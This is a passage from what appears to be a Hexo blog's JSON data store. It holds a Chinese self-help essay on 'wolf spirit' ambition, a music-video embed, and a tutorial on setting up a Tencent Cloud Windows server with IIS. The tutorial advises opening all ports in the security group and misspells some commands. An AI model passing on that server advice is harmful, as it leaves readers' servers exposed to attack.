弹性的性格\n大丈夫能屈能伸，正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服，精明的野心家不会因为愤怒或是心情影响自己的理智，陶渊明的不为五斗米折腰品质固然可贵，但是换个角度思考，这样做的后果是百姓失去了一个好官，自己的前途受损！这样的结果真的是他想要的？如果当时他性格能够弹性一点，成就绝对不止这一点。至少留给后辈的作品会更丰富吧。","source":"_posts/我所追求的狼性.md","raw":"---\ntitle: 我所追求的狼性\ndate: 2018-01-28 12:21:51\ntags: [狼性]\ncategories: 阅读\n---\n\n# 狼道\n虽然在普通人看来，狼是一个贬义的存在，'狼子野心','狼狈为奸'。\n<br>\n但在大自然中，狼群相对于其他生物来说，更富有智慧，更有团结力。狼对机会的把握概率为80%，而人类只有35%左右，\b\b几十\b头狼就可以干翻白羊大军，如果在战场上，这是非常可怕的，所以我们可以从狼的身上学到很多可贵的精神和品质。\n\n## 狼子野心\n狼有非常大的野心，即使数量只有四十只左右，仍然有围剿百羊的勇气，\b即使猎物比自己体型大数倍，也敢于猎杀！\n\n### 天生的野心家\n'大丈夫在世，理应如此'，这就是当年项羽看到秦始皇所说的话，反正我感觉听到就有一种豪气冲天的气魄！\n> 寄语：没有\b完成不了的目标，就看你有没有野心去做！\n\n### 紧盯自己的目标\n'当一个人知道自己的目标去处时，全世界都回为他让路'，出自爱默生。<br>\n没有目标的人在社会的最底层，目标模糊的人成为蓝领，目标明确的人成为白领，目标远大并记录下来的人，最后会成为社会的顶尖人士！(就像我现在做的)\n> 寄语：没有猎物，我们就去寻找，发现猎物我们就去追逐。寻找，发现，追逐\b，获得 - 这就是大自然强者生存的要素\n\n## 人\b应该有理想，而不是\b'妄想'\n野心 !== 妄想，人要有野心，但是也要根据实际出发，当实力悬殊的时候，当竞争法则不再公平的时候，退却是保存实力的最好方法，另一种生命的智慧。<br>\n妄想症的核心判断是总是包含着 ”我“，例如：\"我伟大\",\"人们在迫害我\"，\"我有罪\".......野心虽然也强调个体，但更多持有一种开放的态度，”我可以做的更好\b“，“我要达到某某那种程度”(当时我说，想成为类似奇舞团，alloyteam，类似大厂的技术团队，这是野心不是妄想)\n> 寄语：我们不缺乏成功的信念，但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候，适当转移也是明智的选择。\n\n## 弹性的性格\n大丈夫能屈能伸，正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服，精明的野心家不会因为愤怒或是心情影响自己的理智，陶渊明的不为五斗米折腰品质固然可贵，但是换个角度思考，这样做的后果是百姓失去了一个好官，自己的前途受损！这样的结果真的是他想要的？如果当时他性格能够弹性一点，成就绝对不止这一点。至少留给后辈的作品会更丰富吧。","slug":"我所追求的狼性","published":1,"updated":"2018-02-13T02:45:00.348Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6v0047vzqhd0m1y4hb","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"狼道\"><a href=\"#狼道\" class=\"headerlink\" title=\"狼道\"></a>狼道</h1><p>虽然在普通人看来，狼是一个贬义的存在，’狼子野心’,’狼狈为奸’。<br><br><br>但在大自然中，狼群相对于其他生物来说，更富有智慧，更有团结力。狼对机会的把握概率为80%，而人类只有35%左右，\b\b几十\b头狼就可以干翻白羊大军，如果在战场上，这是非常可怕的，所以我们可以从狼的身上学到很多可贵的精神和品质。</p>\n<h2 id=\"狼子野心\"><a href=\"#狼子野心\" class=\"headerlink\" title=\"狼子野心\"></a>狼子野心</h2><p>狼有非常大的野心，即使数量只有四十只左右，仍然有围剿百羊的勇气，\b即使猎物比自己体型大数倍，也敢于猎杀！</p>\n<h3 id=\"天生的野心家\"><a href=\"#天生的野心家\" class=\"headerlink\" title=\"天生的野心家\"></a>天生的野心家</h3><p>‘大丈夫在世，理应如此’，这就是当年项羽看到秦始皇所说的话，反正我感觉听到就有一种豪气冲天的气魄！</p>\n<blockquote>\n<p>寄语：没有\b完成不了的目标，就看你有没有野心去做！</p>\n</blockquote>\n<h3 id=\"紧盯自己的目标\"><a href=\"#紧盯自己的目标\" class=\"headerlink\" title=\"紧盯自己的目标\"></a>紧盯自己的目标</h3><p>‘当一个人知道自己的目标去处时，全世界都回为他让路’，出自爱默生。<br><br>没有目标的人在社会的最底层，目标模糊的人成为蓝领，目标明确的人成为白领，目标远大并记录下来的人，最后会成为社会的顶尖人士！(就像我现在做的)</p>\n<blockquote>\n<p>寄语：没有猎物，我们就去寻找，发现猎物我们就去追逐。寻找，发现，追逐\b，获得 - 这就是大自然强者生存的要素</p>\n</blockquote>\n<h2 id=\"人应该有理想，而不是’妄想’\"><a href=\"#人应该有理想，而不是’妄想’\" class=\"headerlink\" title=\"人\b应该有理想，而不是\b’妄想’\"></a>人\b应该有理想，而不是\b’妄想’</h2><p>野心 !== 妄想，人要有野心，但是也要根据实际出发，当实力悬殊的时候，当竞争法则不再公平的时候，退却是保存实力的最好方法，另一种生命的智慧。<br><br>妄想症的核心判断是总是包含着 ”我“，例如：”我伟大”,”人们在迫害我”，”我有罪”…….野心虽然也强调个体，但更多持有一种开放的态度，”我可以做的更好\b“，“我要达到某某那种程度”(当时我说，想成为类似奇舞团，alloyteam，类似大厂的技术团队，这是野心不是妄想)</p>\n<blockquote>\n<p>寄语：我们不缺乏成功的信念，但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候，适当转移也是明智的选择。</p>\n</blockquote>\n<h2 id=\"弹性的性格\"><a href=\"#弹性的性格\" class=\"headerlink\" title=\"弹性的性格\"></a>弹性的性格</h2><p>大丈夫能屈能伸，正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服，精明的野心家不会因为愤怒或是心情影响自己的理智，陶渊明的不为五斗米折腰品质固然可贵，但是换个角度思考，这样做的后果是百姓失去了一个好官，自己的前途受损！这样的结果真的是他想要的？如果当时他性格能够弹性一点，成就绝对不止这一点。至少留给后辈的作品会更丰富吧。</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"狼道\"><a href=\"#狼道\" class=\"headerlink\" title=\"狼道\"></a>狼道</h1><p>虽然在普通人看来，狼是一个贬义的存在，’狼子野心’,’狼狈为奸’。<br><br><br>但在大自然中，狼群相对于其他生物来说，更富有智慧，更有团结力。狼对机会的把握概率为80%，而人类只有35%左右，\b\b几十\b头狼就可以干翻白羊大军，如果在战场上，这是非常可怕的，所以我们可以从狼的身上学到很多可贵的精神和品质。</p>\n<h2 id=\"狼子野心\"><a href=\"#狼子野心\" class=\"headerlink\" title=\"狼子野心\"></a>狼子野心</h2><p>狼有非常大的野心，即使数量只有四十只左右，仍然有围剿百羊的勇气，\b即使猎物比自己体型大数倍，也敢于猎杀！</p>\n<h3 id=\"天生的野心家\"><a href=\"#天生的野心家\" class=\"headerlink\" title=\"天生的野心家\"></a>天生的野心家</h3><p>‘大丈夫在世，理应如此’，这就是当年项羽看到秦始皇所说的话，反正我感觉听到就有一种豪气冲天的气魄！</p>\n<blockquote>\n<p>寄语：没有\b完成不了的目标，就看你有没有野心去做！</p>\n</blockquote>\n<h3 id=\"紧盯自己的目标\"><a href=\"#紧盯自己的目标\" class=\"headerlink\" title=\"紧盯自己的目标\"></a>紧盯自己的目标</h3><p>‘当一个人知道自己的目标去处时，全世界都回为他让路’，出自爱默生。<br><br>没有目标的人在社会的最底层，目标模糊的人成为蓝领，目标明确的人成为白领，目标远大并记录下来的人，最后会成为社会的顶尖人士！(就像我现在做的)</p>\n<blockquote>\n<p>寄语：没有猎物，我们就去寻找，发现猎物我们就去追逐。寻找，发现，追逐\b，获得 - 这就是大自然强者生存的要素</p>\n</blockquote>\n<h2 id=\"人应该有理想，而不是’妄想’\"><a href=\"#人应该有理想，而不是’妄想’\" class=\"headerlink\" title=\"人\b应该有理想，而不是\b’妄想’\"></a>人\b应该有理想，而不是\b’妄想’</h2><p>野心 !== 妄想，人要有野心，但是也要根据实际出发，当实力悬殊的时候，当竞争法则不再公平的时候，退却是保存实力的最好方法，另一种生命的智慧。<br><br>妄想症的核心判断是总是包含着 ”我“，例如：”我伟大”,”人们在迫害我”，”我有罪”…….野心虽然也强调个体，但更多持有一种开放的态度，”我可以做的更好\b“，“我要达到某某那种程度”(当时我说，想成为类似奇舞团，alloyteam，类似大厂的技术团队，这是野心不是妄想)</p>\n<blockquote>\n<p>寄语：我们不缺乏成功的信念，但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候，适当转移也是明智的选择。</p>\n</blockquote>\n<h2 id=\"弹性的性格\"><a href=\"#弹性的性格\" class=\"headerlink\" title=\"弹性的性格\"></a>弹性的性格</h2><p>大丈夫能屈能伸，正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服，精明的野心家不会因为愤怒或是心情影响自己的理智，陶渊明的不为五斗米折腰品质固然可贵，但是换个角度思考，这样做的后果是百姓失去了一个好官，自己的前途受损！这样的结果真的是他想要的？如果当时他性格能够弹性一点，成就绝对不止这一点。至少留给后辈的作品会更丰富吧。</p>\n"},{"title":"我是愤怒","date":"2017-01-07T14:36:55.000Z","_content":"\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.mp4\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=3\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","source":"_posts/我是愤怒.md","raw":"---\ntitle: 我是愤怒\ndate: 2017-01-7 22:36:55\ntags: [beyond, rock]\ncategories: 音乐\n---\n\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.mp4\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=3\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","slug":"我是愤怒","published":1,"updated":"2018-01-22T06:41:02.481Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6x004bvzqhbw63ijop","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><div id=\"dplayer3\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer3\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.mp4\"},\"danmaku\":{\"id\":\"3\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<div id=\"dplayer3\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer3\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.mp4\"},\"danmaku\":{\"id\":\"3\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>"},{"title":"搭一个windows云服务器","date":"2017-06-16T14:02:51.000Z","_content":"\n前段时间看到腾讯云服务器对学生有优惠，而且很大一坨，就买了一个回来研究，废话不多说，开搞咯~\n\n## 买服务器\n* 首先你得入手一个服务器，学生特惠8元/月，还有一块的，不过难抢，机不可失，失不再来，毕业你就没机会了，\n> 地方的话就近原则，访问应该会快点\n\n## 配置服务器\n* 我这里是配了 Windows2012 64位系统，1核1G内存\n> Linux的系统，听说比较好用，但目前我还没用过，Windows我觉得也还行\n\n* 进入云服务器控制中心，打开安全组，按需求开放端口\n> 我是开放了全部端口的，你可以随意\n\n## 远程连接服务器\n* 在命令行输入 mstcs 输入你的电脑信息，邮箱查看电脑的默认密码，请及时修改，账号一般默认是administritor，不是的话请先确认\n\n## 设置主页\n* 进入云服务器之后，打开服务器管理器，[新建角色] => [基于角色和功能的安装] => [从服务器池中选择服务器] => [web服务器应用程序开发，勾选.net4.5 和CGI] => [IIS可承载的web核心] => [确认安装]\n> 中间如果碰到什么问题，仔细看流程，如果还报错，我也帮不了你了\n\n* 安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站，该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html（htm）文件放在该目录下，一定要保证根目录有个html（htm）文件\n\n## 设置分页\n* 如果你想通过类似 localhost/about 路径访问你的about项目，你可以在IIS管理的的 default website添加你的项目路径\n>右键 添加应用程序，将该项目的物理路径填上去就可以了 \n","source":"_posts/搭一个windows云服务器.md","raw":"---\ntitle: 搭一个windows云服务器\ndate: 2017-06-16 22:02:51\ntags: [windows, 腾讯云]\ncategories: 服务器\n---\n\n前段时间看到腾讯云服务器对学生有优惠，而且很大一坨，就买了一个回来研究，废话不多说，开搞咯~\n\n## 买服务器\n* 首先你得入手一个服务器，学生特惠8元/月，还有一块的，不过难抢，机不可失，失不再来，毕业你就没机会了，\n> 地方的话就近原则，访问应该会快点\n\n## 配置服务器\n* 我这里是配了 Windows2012 64位系统，1核1G内存\n> Linux的系统，听说比较好用，但目前我还没用过，Windows我觉得也还行\n\n* 进入云服务器控制中心，打开安全组，按需求开放端口\n> 我是开放了全部端口的，你可以随意\n\n## 远程连接服务器\n* 在命令行输入 mstcs 输入你的电脑信息，邮箱查看电脑的默认密码，请及时修改，账号一般默认是administritor，不是的话请先确认\n\n## 设置主页\n* 进入云服务器之后，打开服务器管理器，[新建角色] => [基于角色和功能的安装] => [从服务器池中选择服务器] => [web服务器应用程序开发，勾选.net4.5 和CGI] => [IIS可承载的web核心] => [确认安装]\n> 中间如果碰到什么问题，仔细看流程，如果还报错，我也帮不了你了\n\n* 安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站，该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html（htm）文件放在该目录下，一定要保证根目录有个html（htm）文件\n\n## 设置分页\n* 如果你想通过类似 localhost/about 路径访问你的about项目，你可以在IIS管理的的 default website添加你的项目路径\n>右键 添加应用程序，将该项目的物理路径填上去就可以了 \n","slug":"搭一个windows云服务器","published":1,"updated":"2018-01-22T06:41:43.164Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6y004evzqh34hxppax","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>前段时间看到腾讯云服务器对学生有优惠，而且很大一坨，就买了一个回来研究，废话不多说，开搞咯~</p>\n<h2 id=\"买服务器\"><a href=\"#买服务器\" class=\"headerlink\" title=\"买服务器\"></a>买服务器</h2><ul>\n<li>首先你得入手一个服务器，学生特惠8元/月，还有一块的，不过难抢，机不可失，失不再来，毕业你就没机会了，<blockquote>\n<p>地方的话就近原则，访问应该会快点</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"配置服务器\"><a href=\"#配置服务器\" class=\"headerlink\" title=\"配置服务器\"></a>配置服务器</h2><ul>\n<li><p>我这里是配了 Windows2012 64位系统，1核1G内存</p>\n<blockquote>\n<p>Linux的系统，听说比较好用，但目前我还没用过，Windows我觉得也还行</p>\n</blockquote>\n</li>\n<li><p>进入云服务器控制中心，打开安全组，按需求开放端口</p>\n<blockquote>\n<p>我是开放了全部端口的，你可以随意</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"远程连接服务器\"><a href=\"#远程连接服务器\" class=\"headerlink\" title=\"远程连接服务器\"></a>远程连接服务器</h2><ul>\n<li>在命令行输入 mstcs 输入你的电脑信息，邮箱查看电脑的默认密码，请及时修改，账号一般默认是administritor，不是的话请先确认</li>\n</ul>\n<h2 id=\"设置主页\"><a href=\"#设置主页\" class=\"headerlink\" title=\"设置主页\"></a>设置主页</h2><ul>\n<li><p>进入云服务器之后，打开服务器管理器，[新建角色] =&gt; [基于角色和功能的安装] =&gt; [从服务器池中选择服务器] =&gt; [web服务器应用程序开发，勾选.net4.5 和CGI] =&gt; [IIS可承载的web核心] =&gt; [确认安装]</p>\n<blockquote>\n<p>中间如果碰到什么问题，仔细看流程，如果还报错，我也帮不了你了</p>\n</blockquote>\n</li>\n<li><p>安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站，该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html（htm）文件放在该目录下，一定要保证根目录有个html（htm）文件</p>\n</li>\n</ul>\n<h2 id=\"设置分页\"><a href=\"#设置分页\" class=\"headerlink\" title=\"设置分页\"></a>设置分页</h2><ul>\n<li>如果你想通过类似 localhost/about 路径访问你的about项目，你可以在IIS管理的的 default website添加你的项目路径<blockquote>\n<p>右键 添加应用程序，将该项目的物理路径填上去就可以了 </p>\n</blockquote>\n</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.cloudd